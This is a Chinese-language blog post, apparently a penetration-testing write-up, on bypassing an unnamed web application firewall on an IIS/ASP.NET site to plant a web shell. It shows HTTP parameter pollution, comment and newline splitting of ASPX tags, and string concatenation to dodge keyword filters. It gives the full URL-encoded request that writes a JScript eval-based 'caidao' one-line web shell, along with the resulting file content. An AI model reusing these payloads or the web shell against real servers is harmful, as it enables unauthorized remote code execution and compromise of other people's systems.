close

環境介紹

Server: Microsoft-IIS/10.0X-AspNet-Version: 4.0.waf:某不知名waf

漏洞點情況

新建模板處,可以直接寫入內容到文件:

但是一寫入正常的aspx語句就被攔截,連簡單的輸出語句都不行:

bypass過程

一開始也試過諸多繞過方法,包括各種常見編碼、chunked編碼等等,都不太行。然後嘗試了一下,看有沒有http參數污染(兩個code參數):

訪問下生成的aspx文件:

可以看到確實是可以的,但是中間有個逗號,我們該怎麼利用來寫入aspx文件呢?比如一個最簡單的輸出hello world:

<%@Page Language="C#"%> <% Response.Write("hello,world"); %>

之前我們通過測試知道<% Response.Write("hello,world"); %>這個會被waf攔截,刪掉<%之後呢?

可以看到成功上傳,那麼思路就來了,將<%%>拆分就行,但是怎麼讓服務器忽略掉那個逗號呢?自然是使用注釋。aspx是支持 「//」的注釋方式的,然後我們需要使用換行,把我們的內容換到下一行避免被注釋,於是:

看看生成的文件:

然後我們試着拆分前面被攔截的那個輸出hello world的語句:

code=<%@Page Language="C#"%><% //&code=%0aResponse.Write("hello,world"); %>

成功生成:

Getshell

經過了好一番嘗試,發現waf還過濾了Request等關鍵詞,eval()可以上傳,但是括號裡面有內容比如eval(xxx)就不行。參考了這篇文章里的注釋符號:https://www.cnblogs.com/xiaozi/p/7566795.html將 eval(a)拆分為

eval/*-/*-*/(a/*,*/)

Request就直接用加號進行連接,比如:"Req"+"uest"

最終結合hpp來利用,上傳菜刀一句話的payload為:

code=<%@ Page Language = Jscript %><% //&code=%0avar+a%3d"ev"%2b"al"%2b"(Reque"%2b"st.Item[\"c"%2b"o\"],"%2b"\"uns"%2b"afe\")%3b"%3b eval/*-/*-*/(a/*&code=*/);%>

這個生成的文件內容應該是:

<%@ Page Language = Jscript %><%//,

var a="ev"+"al"+"(Reque"+"st.Item["c"+"o"],"+""uns"+"afe");"; eval/-/-/(a/,*/);%>

上傳:

成功拿到一個菜刀shell,當然,菜刀因為waf的原因不能用:

eval都行了,還怕拿不到shell?


加個好友

歡迎在看丨留言丨分享至朋友圈三連


好文推薦

2022HW必備|最全應急響應思維導圖

實戰|記一次hvv打點經歷

流量分析與日誌溯源實戰技巧

一款適用於紅隊成員/滲透測試團隊資產收集工具

乾貨|後滲透及內網初體驗的總結

發現內網存活主機的各種姿勢

實戰|某次攻防演練中的分析溯源

實戰|後台getshell+提權一把梭

紅隊快速打點工具

實戰|記一次艱難的外網打點

實戰|記一次文件上傳繞過

常見漏洞安全攻防知識庫

紅隊信息搜集工具(附下載地址)

實戰—某醫院管理系統Getshell

CobaltStrike上線Linux

arrow
arrow
    全站熱搜
    創作者介紹
    創作者 鑽石舞台 的頭像
    鑽石舞台

    鑽石舞台

    鑽石舞台 發表在 痞客邦 留言(0) 人氣()